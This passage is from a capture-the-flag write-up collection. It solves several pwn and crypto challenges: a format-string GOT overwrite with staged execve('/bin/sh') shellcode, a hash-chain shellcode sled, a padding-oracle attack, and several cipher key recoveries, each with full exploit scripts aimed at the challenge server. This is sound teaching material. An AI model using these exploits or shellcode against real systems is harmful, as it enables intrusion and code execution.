print(f"[+] PIE:{hex(pie_base)}, win:{hex(win)}")
# 2. OOB write: slot=24, adj=8, 8 bytes of win() address
s.send(b"24\\n")
recvuntil(s, b"(0..15):")
s.send(b"8\\n")
recvuntil(s, b"(max 8):")
s.send(b"8\\n")
recvuntil(s, b"Ink (raw bytes):")
time.sleep(0.2)
s.send(struct.pack("<Q", win))
# 3. Get flag
time.sleep(2)
print(s.recv(4096).decode(errors='replace'))
s.close()
hashchain v2
ENO{n0_sl3d_n0_pr0bl3m_d1r3ct_h1t}
Strategy
v2 leaks win() address and allows custom offsets. With offset 4, consecutive hashes overlap – only the first 4 bytes of each MD5 survive. This gives us 4 bytes of controlled code per input.
We use a JMP sled + two-stage shellcode approach:
- 91 sled blocks (offset 16): eb 0e (jmp +14) to skip garbage bytes
- 9 payload blocks (offset 4): Build a read(0, esp, 255); jmp ecx shellcode
- Stage 2: Send push win_addr; ret after code starts executing
Shellcode Layout (32-bit)
| Block | Offset | Bytes | Instruction |
|---|---|---|---|
| 1-91 | 16 | eb 0e | jmp +14 (sled) |
| 92 | 4 | 54 eb 01 | push esp; jmp +1 |
| 93 | 4 | 59 eb 01 | pop ecx |
| 94 | 4 | 31 c0 eb 00 | xor eax, eax |
| 95 | 4 | 50 eb 01 | push eax |
| 96 | 4 | 5b eb 01 | pop ebx |
| 97 | 4 | b2 ff eb 00 | mov dl, 0xff |
| 98 | 4 | b0 03 eb 00 | mov al, 3 |
| 99 | 4 | cd 80 eb 00 | int 0x80 |
| 100 | 4 | ff e1 | jmp ecx |
This executes: read(0, esp, 255) then jumps to esp where stage 2 is read.
MD5 Preimage Bruteforce
Finding inputs whose MD5 starts with specific bytes requires bruteforcing. We used a multi-threaded C program:
#include <CommonCrypto/CommonDigest.h>
#include <pthread.h>
#define NUM_THREADS 8
#define BATCH_SIZE 1000000
void *search_thread(void *arg) {
for (long i = start; i < end && !found; i++) {
snprintf(input, sizeof(input), "x_%ld", i);
CC_MD5(input, strlen(input), hash);
if (memcmp(hash, target, target_len) == 0) {
found = 1;
strcpy(found_input, input);
}
}
}
Precomputed inputs for v2:
PAYLOAD_INPUTS = {
'push_esp': b'x_1071095', # 54 eb 01
'pop_ecx': b'x_1152389', # 59 eb 01
'xor_eax': b'x_939316732', # 31 c0 eb 00
'push_eax': b'x_43617627', # 50 eb 01
'pop_ebx': b'x_18243951', # 5b eb 01
'mov_dl': b'x_2460137970', # b2 ff eb 00
'mov_al': b'x_3790580688', # b0 03 eb 00
'int80': b'x_4181775041', # cd 80 eb 00
'jmp_ecx': b'x_28098', # ff e1
}
Exploit Code (v2)
# After sending 91 sled + 9 payload inputs with proper offsets:
r.recvuntil(b'Executing 100 hash(es) as code...')
# Stage 2: NOP sled + call win()
nop_sled = b'\x90' * 100
payload = b'\x68' + p32(win_addr) + b'\xc3' # push win_addr; ret
stage2 = nop_sled + payload
r.send(stage2)
encodinator
ENO{COMPILING_WITH_ASAN_DOESNT_ALWAYS_MEAN_ITS_SAFE!!!}
Binary Analysis
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown (GNU_STACK missing)
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Program Flow (main @ 0x401347)
1. setbuf(stdout, NULL); setbuf(stdin, NULL);
2. mmap(0x40000000, 0x1000, PROT_RWX, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
3. puts("Welcome to the Encodinator!");
4. printf("I will base85 encode your input. Please give me your text: ");
5. n = read(0, stack_buf, 256); // rbp-0x110
6. base85_encode(stack_buf, n, mmap_buf);
7. putchar('\n');
8. printf(mmap_buf); // <-- FORMAT STRING VULNERABILITY
9. puts("");
10. return 0;
The key vulnerability is at step 8: printf(mmap_buf) uses the base85-encoded output as a format string, giving us a classic format string attack.
Important Details
| Item | Value |
|---|---|
| puts@GOT | 0x403390 |
| printf@GOT | 0x4033a8 |
| mmap buffer | 0x40000000 (RWX, MAP_FIXED) |
| Input buffer | rbp-0x110 (stack) |
| Input size | 256 bytes max |
| Format string position | 6 (input buffer starts at %6$p) |
The Constraint: Base85 Encoding
The binary encodes our raw input into base85 before passing it to printf. Base85 maps every 4 raw bytes to 5 encoded characters, all in the printable range [0x21..0x75] (! to u).
This means our format string characters must all fall within this range. Fortunately, the key characters we need are in range:
| Char | Hex | In range? |
|---|---|---|
| % | 0x25 | Yes |
| $ | 0x24 | Yes |
| 0-9 | 0x30-0x39 | Yes |
| c | 0x63 | Yes |
| h | 0x68 | Yes |
| n | 0x6e | Yes |
So %hn, %c, digit specifiers, and $ are all encodable. We can construct arbitrary %hn format strings.
Exploit Strategy
The program runs once and exits — no loop. With No RELRO and a known RWX mmap region, we can do everything in a single format string:
- Write shellcode (stager) to mmap+0x200 via %hn writes
- Overwrite puts@GOT to point to our stager
- When puts(“”) executes after printf, it jumps to our stager
- Stager calls read(0, mmap+0x300, 255) and jumps there
- Stage2 shellcode (execve(“/bin/sh”)) is sent over the TCP connection
Payload Layout (216 bytes total, fits in 256)
[ format string (b85-decoded) | target addresses (8 bytes each) ]
[ 112 bytes | 104 bytes (13 × 8) ]
The format string portion, when base85-encoded by the binary, produces our %hn directives. The address portion encodes to junk that appears after all format specifiers (harmless).
Building the Format String
Self-Consistency Problem
The format string references its own addresses using printf argument positions. These positions depend on the addresses’ byte offsets, which depend on the format string length, which depends on the position numbers. This creates a circular dependency.
Solution: iterate over candidate addr_base values until the format string length is self-consistent:
def solve_alignment(writes):
for guess in range(32, 300, 8):
fmt, am = build_hn_fmt(writes, guess)
fb = pad5(fmt.encode())
decoded_len = len(fb) // 5 * 4
aligned = (decoded_len + 7) & ~7
if aligned == guess:
return fmt, am, guess
The 13 Writes
GOT overwrite (4 writes) — puts@GOT → 0x40000200:
| Address | Value |
|---|---|
0x403390 | 0x0200 |
0x403392 | 0x4000 |
0x403394 | 0x0000 |
0x403396 | 0x0000 |
Stage 1: shellcode (9 writes) — 18 bytes at 0x40000200:
xor eax, eax ; SYS_read = 0
xor edi, edi ; fd = 0 (stdin/socket)
mov esi, 0x40000300 ; buf = mmap+0x300
mov edx, 255 ; count
syscall ; read(0, 0x40000300, 255)
jmp rsi ; jump to stage2
All 13 values sorted ascending, deltas computed, yielding:
%22$hn%23$hn%30$hn%3c%27$hn%187c%26$hn%65c%29$hn%257c%20$hn
%783c%31$hn%15089c%21$hn%31296c%28$hn%1521c%24$hn%9934c%32$hn
%6194c%25$hn
Stage 2: Shell
After the stager’s read() blocks, we send a standard execve(“/bin/sh”) shellcode (24 bytes):
xor esi, esi ; argv = NULL
xor edx, edx ; envp = NULL
push rsi ; null terminator
movabs rbx, 0x68732f6e69622f ; "/bin/sh\0"
push rbx
mov rdi, rsp ; rdi -> "/bin/sh"
push 59
pop rax ; SYS_execve
syscall
The stager reads these bytes into mmap+0x300 and jumps there. The raw syscall instruction avoids any stack alignment issues that would arise from calling libc functions.
Debugging Journey
The exploit didn’t work on the first try. Systematic diagnostics narrowed down the issue:
| Test | Purpose | Result |
|---|---|---|
| diag_test.py | Overwrite puts@GOT → putchar@plt | ‘v’ received — GOT overwrite works |
| cet_test.py (no endbr64) | Jump to mmap with just ret | Clean exit — CET not enforced |
| cet_test.py (with endbr64) | Same with endbr64; ret | Same behavior — confirms no IBT |
| stager_test.py | Full stager + stage2 writes “WIN” | “WIN” received — stager pipeline works |
| shell_test.py | Full stager + execve(“/bin/sh”) | Shell spawns, flag captured |
The binary had GNU_PROPERTY_X86_FEATURE_1_AND = 3 (IBT + SHSTK) in its ELF notes, but the server did not enforce CET. The original exploit failed due to using %1$Nc format specifiers which made the format string longer, changing the addr_base and argument positions — a subtle layout issue resolved by switching to the shorter %Nc form.
Exploit
#!/usr/bin/env python3
from pwn import *
import struct
HOST = '52.59.124.14'
PORT = 5012
PUTS_GOT = 0x403390
INPUT_POS = 6
STAGER_ADDR = 0x40000200
STAGE2_ADDR = 0x40000300
# Base85 encode/decode helpers
def b85_encode(data):
result = bytearray()
for i in range(0, len(data), 4):
cs = min(4, len(data) - i)
v = 0
for j in range(4):
v <<= 8
if j < cs: v |= data[i + j]
enc = [0]*5
for k in range(4, -1, -1):
enc[k] = (v % 85) + 0x21; v //= 85
result.extend(enc[:cs + 1])
return bytes(result)
def b85_decode(encoded):
assert len(encoded) % 5 == 0
result = bytearray()
for i in range(0, len(encoded), 5):
v = 0
for c in encoded[i:i+5]:
v = v * 85 + (c - 0x21)
for k in range(4):
result.append((v >> (8*(3-k))) & 0xFF)
return bytes(result)
def pad5(s):
if isinstance(s, str): s = s.encode()
while len(s) % 5 != 0: s += b'!'
return s
# Format string builder: sorted %hn writes with minimal deltas
def build_hn_fmt(writes, addr_base):
indexed = [(a, v, i) for i, (a, v) in enumerate(writes)]
indexed.sort(key=lambda x: x[1])
parts, addrs, cur = [], {}, 0
for addr, val, oi in indexed:
boff = addr_base + oi * 8
pos = INPUT_POS + boff // 8
addrs[boff] = addr
target = val + (0x10000 if val < cur else 0)
delta = target - cur
parts.append(f"%{delta}c%{pos}$hn" if delta > 0 else f"%{pos}$hn")
cur = target
return ''.join(parts), addrs
# Build payload: b85_decode(format_string) + raw addresses
def make_payload(fmt_str, addrs):
fb = pad5(fmt_str.encode())
raw = bytearray(b85_decode(fb))
maxend = max(o + 8 for o in addrs)
while len(raw) < maxend: raw.append(0)
for o, a in addrs.items():
struct.pack_into('<Q', raw, o, a)
return bytes(raw)
# Find self-consistent addr_base
def solve_alignment(writes):
for guess in range(32, 300, 8):
fmt, am = build_hn_fmt(writes, guess)
needed = len(pad5(fmt.encode())) // 5 * 4
aligned = (needed + 7) & ~7
if aligned == guess: return fmt, am, guess
fmt2, am2 = build_hn_fmt(writes, aligned)
needed2 = len(pad5(fmt2.encode())) // 5 * 4
if (needed2 + 7) & ~7 == aligned: return fmt2, am2, aligned
# Stager: read(0, mmap+0x300, 255); jmp rsi
stager = b'\x31\xc0\x31\xff\xbe' + struct.pack('<I', STAGE2_ADDR) \
+ b'\xba\xff\x00\x00\x00\x0f\x05\xff\xe6'
# Stage2: execve("/bin/sh", NULL, NULL)
stage2 = b'\x31\xf6\x31\xd2\x56\x48\xbb/bin/sh\x00\x53' \
+ b'\x48\x89\xe7\x6a\x3b\x58\x0f\x05'
# Build 13 writes: 4 GOT + 9 stager
writes = []
sa = struct.pack('<Q', STAGER_ADDR)
for i in range(4):
writes.append((PUTS_GOT + i*2, struct.unpack('<H', sa[i*2:i*2+2])[0]))
for i in range(0, len(stager), 2):
writes.append((STAGER_ADDR + i, struct.unpack('<H', stager[i:i+2])[0]))
fmt, addrs, abase = solve_alignment(writes)
payload = make_payload(fmt, addrs)
# Send exploit
p = remote(HOST, PORT)
p.recvuntil(b'text: ')
p.send(payload)
# Drain ~65KB of printf padding output
data = b""
try:
while len(data) < 70000:
data += p.recv(4096, timeout=5)
except: pass
# Send stage2 shellcode — stager is blocking on read()
p.send(stage2)
# Shell!
p.sendline(b'cat /flag*')
print(p.recv(timeout=5).decode())
p.interactive()
Cry
Going_in_circles
ENO{CRC_is_just_some_modular_remainer}
The server performs the following operations:
- Converts flag into an integer
- Generates a random 32-bit integer f
- Prints reduce(flag, f) and f
BITS = 32
def reduce(a, f):
while a.bit_length() > BITS:
a ^= f << (a.bit_length() - BITS)
return a
This operation is equivalent to computing the remainder of polynomial division over GF(2).
So each server output reveals the congruence:
flag ≡ r (mod f)
flag ≡ r (mod f)
Key point
- reduce(flag, f) is the remainder of division in GF(2) polynomial arithmetic
- The flag is fixed, while f is freshly randomized each time
- By connecting multiple times, we obtain multiple congruences with different moduli
Thus, we can apply the Chinese Remainder Theorem (CRT) over GF(2) polynomials.
Attack process
- Connect to the server multiple times and collect pairs (r, f)
- Interpret each output as: flag ≡r₁ (mod f₁) flag ≡r₂ (mod f₂)
- Use the extended Euclidean algorithm to compute CRT merging in GF(2)
- As the combined modulus grows beyond the bit-length of flag, the flag becomes uniquely determined
- Convert the recovered integer back into bytes and decode it as a string to obtain the flag
(solve.py)
#!/usr/bin/env python3
import re
import socket
from typing import Tuple
HOST = "52.59.124.14"
PORT = 5100
BITS = 32
# ----------------- GF(2) polynomial helpers -----------------
def deg(a: int) -> int:
return a.bit_length() - 1
def divmod_poly(a: int, b: int) -> Tuple[int, int]:
if b == 0:
raise ZeroDivisionError
q = 0
da = deg(a)
db = deg(b)
while a != 0 and da >= db:
shift = da - db
q ^= 1 << shift
a ^= b << shift
da = deg(a)
return q, a
def gcd_poly(a: int, b: int) -> int:
while b:
_, r = divmod_poly(a, b)
a, b = b, r
return a
def xgcd_poly(a: int, b: int) -> Tuple[int, int, int]:
# returns (g, x, y) with x*a + y*b = g
x0, x1 = 1, 0
y0, y1 = 0, 1
while b:
q, r = divmod_poly(a, b)
a, b = b, r
x0, x1 = x1, x0 ^ mul_poly(q, x1)
y0, y1 = y1, y0 ^ mul_poly(q, y1)
return a, x0, y0
def mul_poly(a: int, b: int) -> int:
res = 0
while b:
if b & 1:
res ^= a
a <<= 1
b >>= 1
return res
def mod_poly(a: int, m: int) -> int:
_, r = divmod_poly(a, m)
return r
# ----------------- CRT over GF(2) polynomials -----------------
def crt_pair(r1: int, f1: int, r2: int, f2: int) -> Tuple[int, int]:
# returns (r, f) with r ≡ r1 (mod f1), r ≡ r2 (mod f2)
g, s, t = xgcd_poly(f1, f2)
# check compatibility: r1 == r2 mod g
if mod_poly(r1 ^ r2, g) != 0:
raise ValueError("Incompatible congruences")
# compute lcm = f1/g * f2
f1_g, _ = divmod_poly(f1, g)
f2_g, _ = divmod_poly(f2, g)
lcm = mul_poly(f1_g, f2)
# k = (r2 - r1)/g * s mod (f2/g)
diff = r2 ^ r1
diff_g, _ = divmod_poly(diff, g)
k = mod_poly(mul_poly(diff_g, s), f2_g)
r = r1 ^ mul_poly(f1, k)
r = mod_poly(r, lcm)
return r, lcm
# ----------------- Networking -----------------
def get_sample() -> Tuple[int, int]:
with socket.create_connection((HOST, PORT), timeout=5) as s:
data = s.recv(4096).decode().strip()
# expected format: "<r> <f>"
parts = data.split()
if len(parts) != 2:
raise ValueError(f"Unexpected response: {data!r}")
r = int(parts[0])
f = int(parts[1])
return r, f
# ----------------- Solve loop -----------------
def try_decode(x: int) -> str:
if x == 0:
return ""
b = x.to_bytes((x.bit_length() + 7) // 8, "big")
try:
return b.decode()
except Exception:
return ""
if __name__ == "__main__":
r, f = get_sample()
cur_r, cur_f = r, f
for i in range(1, 80):
if i > 1:
r, f = get_sample()
cur_r, cur_f = crt_pair(cur_r, cur_f, r, f)
s = try_decode(cur_r)
if s and re.search(r"[A-Za-z0-9_\\-]+\\{.*\\}", s):
print(s)
break
# Optional progress info
# print(f"samples={i} deg(mod)={deg(cur_f)}")
else:
print("No flag found; try more samples.")
Matrixfun II
ENO{l1ne4r_alg3br4_i5_ev3rywh3re}
Analysis
The challenge implements a variation of the Hill Cipher, specifically an Affine Hill Cipher, over a custom alphabet. • Alphabet: A 65-character string consisting of Base64 characters (a-z, A-Z, 0-9, +, /, =). • Modulus (MOD): 65. • Key: A random ‘16 X 16’ matrix ‘A’ and a shift vector ‘b’ of size 16. • Process: 1. The plaintext is Base64 encoded and padded with = to match the block size $n=16$. 2. Each character is converted to its corresponding index in the alphabet string. 3. The encryption formula for a plaintext vector “P” is:

Vulnerability
Step 1 – recover vector b
If we provide a plaintext block ‘P’ consisting only of the first character of the alphabet (‘a’, which has an index of 0), the term ‘A . P’ becomes zero.

Step 2 – recover matrix A
Once ‘b’ is known, we can recover each column of ‘A’ by sending “unit vectors”. By sending a block where only the ‘j’-th character is ‘b’ (index 1) and all others are ‘a’ (index 0), the output ‘C_j’ reveals the ‘j’-th column of ‘A’:

Exploit
The exploit script automates the recovery process:
- Leaking b: It sends a block of 16 ‘a’s to the server and stores the resulting integer list as bvec.
- Leaking A: It iterates through all 16 positions, sending blocks with a single ‘b’ to reconstruct the matrix A column by column.
- Modular Inverse: It calculates the inverse of matrix ‘A’ modulo 65 (A^{-1} (mod 65) using a custom Gaussian elimination function.
- Decryption: It applies the decryption formula to the initial ciphertext provided in the banner:

- Final Output: The resulting indices are mapped back to the alphabet, and the resulting Base64 string is decoded to reveal the flag.
(solve.py)
#!/usr/bin/env python3
import ast
import base64
import math
import re
import socket
HOST = "52.59.124.14"
PORT = 5101
alphabet = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="
MOD = len(alphabet)
N = 16
def recv_until(sock, token: bytes) -> bytes:
data = b""
while token not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
return data
def parse_list(payload: bytes):
m = re.search(rb"\\[[0-9,\\s]+\\]", payload)
if not m:
raise ValueError("No list found in response")
return ast.literal_eval(m.group().decode())
def block_bytes(b64_block: str) -> bytes:
return base64.b64decode(b64_block.encode())
def inv_mod_matrix(A, mod):
n = len(A)
M = [row[:] + [1 if i == j else 0 for j in range(n)] for i, row in enumerate(A)]
for col in range(n):
pivot = None
for r in range(col, n):
if math.gcd(M[r][col], mod) == 1:
pivot = r
break
if pivot is None:
raise ValueError("Matrix not invertible modulo %d" % mod)
if pivot != col:
M[col], M[pivot] = M[pivot], M[col]
inv_p = pow(M[col][col], -1, mod)
for c in range(2 * n):
M[col][c] = (M[col][c] * inv_p) % mod
for r in range(n):
if r == col:
continue
factor = M[r][col]
if factor == 0:
continue
for c in range(2 * n):
M[r][c] = (M[r][c] - factor * M[col][c]) % mod
return [row[n:] for row in M]
def mat_vec_mul(A, v, mod):
return [sum(A[i][j] * v[j] for j in range(len(v))) % mod for i in range(len(A))]
def main():
with socket.create_connection((HOST, PORT), timeout=10) as s:
banner = recv_until(s, b"enter your message")
cipher = parse_list(banner)
def query_block(b64_block: str):
msg = block_bytes(b64_block)
s.sendall(msg.hex().encode() + b"\\n")
resp = recv_until(s, b"enter your message")
arr = parse_list(resp)
return arr[:N]
# Get b using block of all 'a'
base_block = "a" * N
bvec = query_block(base_block)
# Recover A columns using blocks with single 'b'
A = [[0] * N for _ in range(N)]
for j in range(N):
blk = ["a"] * N
blk[j] = "b"
y = query_block("".join(blk))
for i in range(N):
A[i][j] = (y[i] - bvec[i]) % MOD
invA = inv_mod_matrix(A, MOD)
# Decrypt the initial ciphertext
b64_out = bytearray()
for i in range(0, len(cipher), N):
y = cipher[i : i + N]
if len(y) < N:
break
y_minus_b = [(y[k] - bvec[k]) % MOD for k in range(N)]
x = mat_vec_mul(invA, y_minus_b, MOD)
b64_out.extend(alphabet[idx] for idx in x)
b64_str = b64_out.decode()
b64_str = b64_str.rstrip("=")
b64_str += "=" * ((4 - (len(b64_str) % 4)) % 4)
flag = base64.b64decode(b64_str)
print(flag.decode(errors="replace"))
if __name__ == "__main__":
main()
TLS
ENO{th3_fau1t_in_0ur_padding}
AES-CBC Padding Oracle
The core vulnerability is a classic Padding Oracle Attack. The decrypt function in chall.py performs the following steps:
- Extracts the IV and encrypted message from the input.
- Decrypts the AES key using RSA.
- Decrypts the message using AES-CBC.
- Validates the PKCS#7 padding using the
unpadfunction.
16: def unpad(msg : bytes):
17: pad_byte = msg[-1]
18: if pad_byte == 0 or pad_byte > 16: raise PaddingError
19: for i in range(1, pad_byte+1):
20: if msg[-i] != pad_byte: raise PaddingError
21: return msg[:-pad_byte]
If the padding is incorrect, it raises a PaddingError, and the server explicitly prints “invalid padding”. This feedback allows us to determine if a trial IV/ciphertext block pair results in valid padding after decryption.
RSA-CRT Fault (Not Required)
Although the decrypt function mentions RSA-CRT optimization, it is not directly relevant to the attack since we can exploit the AES padding oracle directly without needing to factor n or recover the RSA private key. The encrypted AES key is appended to the ciphertext, and we can simply keep it constant while we manipulate the IV and message blocks.
Exploit – Padding Oracle Attack
For a target ciphertext block Ci, let Pi be the corresponding plaintext block. In CBC mode: Pi = Decryptk(Ci) ^ Ci-1
We can control Ci-1 (the IV for block Ci) to force the last bytes of Pi to match a specific padding pattern (e.g., 0x01, 0x02 0x02, etc.).
- To find the last byte of the intermediate state Ii = Decryptk(Ci), we vary the last byte of the previous block Ci-1[15] until the oracle accepts the padding.
- Once a valid padding is found (meaning the last byte of the decrypted result is 0x01), we can calculate Ii[15] = C’i-1[15] ^ 0x01.
- The actual plaintext byte is Pi[15] = Ii[15] ^ Ci-1[15].
- We repeat this process for all bytes (15 down to 0) and all blocks.
solve_tls.py
import socket
import time
import sys
def solve():
server = ('52.59.124.14', 5104)
s = socket.create_connection(server)
data = ""
while "input cipher (hex): " not in data:
chunk = s.recv(4096).decode()
if not chunk: break
data += chunk
lines = [l for l in data.split('\\\\n') if l.strip()]
cipher_hex = ""
for line in lines:
if len(line.strip()) > 64 and "input" not in line:
cipher_hex = line.strip()
if not cipher_hex:
return
full_cipher = bytes.fromhex(cipher_hex)
l_bytes = full_cipher[:4]
msg_len = int.from_bytes(l_bytes, 'big')
iv = full_cipher[4:20]
enc_msg_full = full_cipher[20:20+msg_len]
enc_key_bytes = full_cipher[20+msg_len:]
blocks = [enc_msg_full[i:i+16] for i in range(0, len(enc_msg_full), 16)]
decrypted_msg = bytearray()
previous_block = iv
LEN_PREFIX = (16).to_bytes(4, 'big')
def batch_check(iv_base, byte_pos, candidates):
payloads = []
for val in candidates:
iv_candidate = bytearray(iv_base)
iv_candidate[byte_pos] = val
p = LEN_PREFIX + iv_candidate + current_block + enc_key_bytes
payloads.append(p.hex().encode() + b'\\\\n')
s.sendall(b''.join(payloads))
results = []
buf = ""
prompts_found = 0
target = len(candidates)
while buf.count("input cipher (hex): ") < target:
chunk = s.recv(4096).decode()
if not chunk: break
buf += chunk
responses = buf.split("input cipher (hex): ")
return [("invalid padding" not in r) for r in responses[:target]]
for block_idx, current_block in enumerate(blocks):
intermediate = bytearray(16)
plaintext = bytearray(16)
for byte_pos in range(15, -1, -1):
pad_val = 16 - byte_pos
base_iv = bytearray(16)
for k in range(byte_pos + 1, 16):
base_iv[k] = intermediate[k] ^ pad_val
candidates = list(range(256))
is_valid_list = batch_check(base_iv, byte_pos, candidates)
valid_vals = [val for val, valid in zip(candidates, is_valid_list) if valid]
found_val = -1
if len(valid_vals) == 0:
return
elif len(valid_vals) == 1:
found_val = valid_vals[0]
else:
for val in valid_vals:
if byte_pos > 0:
test_iv = bytearray(base_iv)
test_iv[byte_pos] = val
test_iv[byte_pos-1] ^= 1
res = batch_check(test_iv, byte_pos, [val])[0]
if res:
found_val = val
break
else:
found_val = val
intermediate[byte_pos] = found_val ^ pad_val
plaintext[byte_pos] = intermediate[byte_pos] ^ previous_block[byte_pos]
decrypted_msg.extend(plaintext)
previous_block = current_block
try:
pad_len = decrypted_msg[-1]
final_msg = decrypted_msg[:-pad_len]
print(final_msg.decode())
except Exception as e:
print(decrypted_msg)
if __name__ == '__main__':
solve()
Booking Key
ENO{y0u_f1nd_m4ny_th1ng5_in_w0nd3r1and}
chall.py
def encrypt(message, book, start):
current = start
cipher = []
for char in message:
count = 0
while book[current] != char:
current = (current + 1) % len(book)
count += 1
cipher.append(count)
return cipher
Each round:
- A random starting position key = random.randint(0, len(BOOK)-1) is chosen
- A 32-character random password is generated from ASCII letters present in the book
- The password is encrypted using the book cipher
- We must recover the password from the ciphertext
Decryption
Decryption is straightforward – given cipher and start:
def decrypt(cipher, book, start):
current = start
plaintext = []
for count in cipher:
current = (current + count) % len(book)
plaintext.append(book[current])
return ''.join(plaintext)
The challenge is that we don’t know start. We must brute-force it across all len(BOOK) possible values (~53K).
Key Insight: Uppercase Ratio Filter
For each candidate key, we decrypt and check if all 32 characters are ASCII letters. However, with ~75% letter density in the book, we get multiple false positives (~4-10 per cipher).
The critical filter is the uppercase ratio:
| True Password | False Positive | |
|---|---|---|
| Source | random.choice(charset) uniform over 51 letters (A-Y, a-z) | Characters from book positions |
| Expected uppercase | ~49% (25/51) ≈ 16 out of 32 | ~4% ≈ 1-2 out of 32 |
This is an extremely strong discriminator. A threshold of uppercase >= 10 eliminates virtually all false positives while keeping the true password.
Exact Book Text Boundary
The book text is Project Gutenberg #19033. The exact boundaries of book.txt matter because the cipher wraps around the text. Through testing, the correct boundaries were:
- Start: “Produced by Jason Isbell, Irma Spehar, and the Online\nDistributed Proofreading Team at http://www.pgdp.net” (old PG format, line-wrapped)
- End: Last [Illustration]\n\n (2 newlines after the final illustration tag, before the “End of the Project Gutenberg EBook” line)
The old PG format text (Wayback Machine archive) was needed, as the current gutenberg.org version has a different header format and content differences (e.g., “Où” vs “Ou”).
Solution
import socket, ast, string
def decrypt(cipher, book, start):
current = start
plaintext = []
for count in cipher:
current = (current + count) % len(book)
plaintext.append(book[current])
return ''.join(plaintext)
def solve_cipher(cipher, book):
letters = set(string.ascii_letters)
for key in range(len(book)):
pw = decrypt(cipher, book, key)
if all(c in letters for c in pw):
if sum(1 for c in pw if c.isupper()) >= 10:
return pw
return None
# book = PG#19033 old format, from "Produced by..." to "[Illustration]\n\n"
with open('book.txt', 'r') as f:
book = f.read()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('52.59.124.14', 5102))
for _ in range(3):
data = recvuntil(s, 'password:')
cipher = ast.literal_eval(/* extract list from data */)
password = solve_cipher(cipher, book)
s.sendall((password + '\n').encode())
# Read flag
print(s.recv(4096).decode())
Tetraes
ENO{a1l_cop5_ar3_br0adca5t1ng_w1th_t3tra}
Code Analysis & Vulnerability
The algorithm follows a 16-round SPN (Substitution-Permutation Network) structure similar to AES. However, it contains several fatal flaws:
- Faulty S-Box (Non-Injective / Not a Permutation) Analysis of the S-Box shows that it is not injective. This means two different inputs produce the exact same output. By running a check script (check_sbox_perm.py), we find:
- S[0] == 0x64
- S[140] == 0x64 (140 in hex is 0x8C)
- Specifically, S== S[x ^ 0x8C] only for x = 0 or x = 0x8C.
- Weak Key Schedule The round keys are simply rotations of the master key. While this is weak, the S-Box vulnerability is much more direct to exploit.
Exploitation Strategy: S-Box Collision Attack
We can use a “Chosen Plaintext Attack (CPA)” to recover the key byte-by-byte by exploiting the S-Box collision.
Collision Mechanism
In the first round, the following operations occur:
- AddRoundKey: The initial state is XORed with the master key. Specifically, the first byte (state[0][0]) is also XORed with a round constant (42).
- SubBytes: Each byte is passed through the S-Box.
If we can manipulate a specific input to the S-Box to be either 0x00 or 0x8C, the S-Box output will be identical (0x64). If all other bytes in the state remain constant, the entire ciphertext produced will be identical.
Key Recovery Algorithm
For each key byte k (index 0 to 15):
- Send 256 messages. Vary only the kth byte with values
v(0 to 255). - Look for a pair of values
vthat result in identical ciphertexts. - If Encrypt(P with byte v) == Encrypt(P with byte v ^ 0x8C), then the input to the S-Box was the pair {0x00, 0x8C}.
- Relationship between S-Box input and the key:
- Input = v ^ Key (ignoring round constants for a moment)
- Thus v ^ Key = 0 OR v ^ Key = 0x8C.
- This provides two candidates for Key: v or v ^ 0x8C.
- For the first byte (index 0), account for the ARK constant (^ 42).
Final step
After obtaining 2 candidates for each of the 16 key bytes, we have a total of 2^16 (65,536) possible keys. This is a small keyspace that can be brute-forced locally in seconds by checking against a known plaintext-ciphertext pair (e.g., Encrypt(0)).
Results
(Key)
6344e0dad4c017fea40809d0ef327a9f
(solve.py)
import socket
import sys
import time
import os
# --- Helper Functions from Chall.py ---
S = (
0x64, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
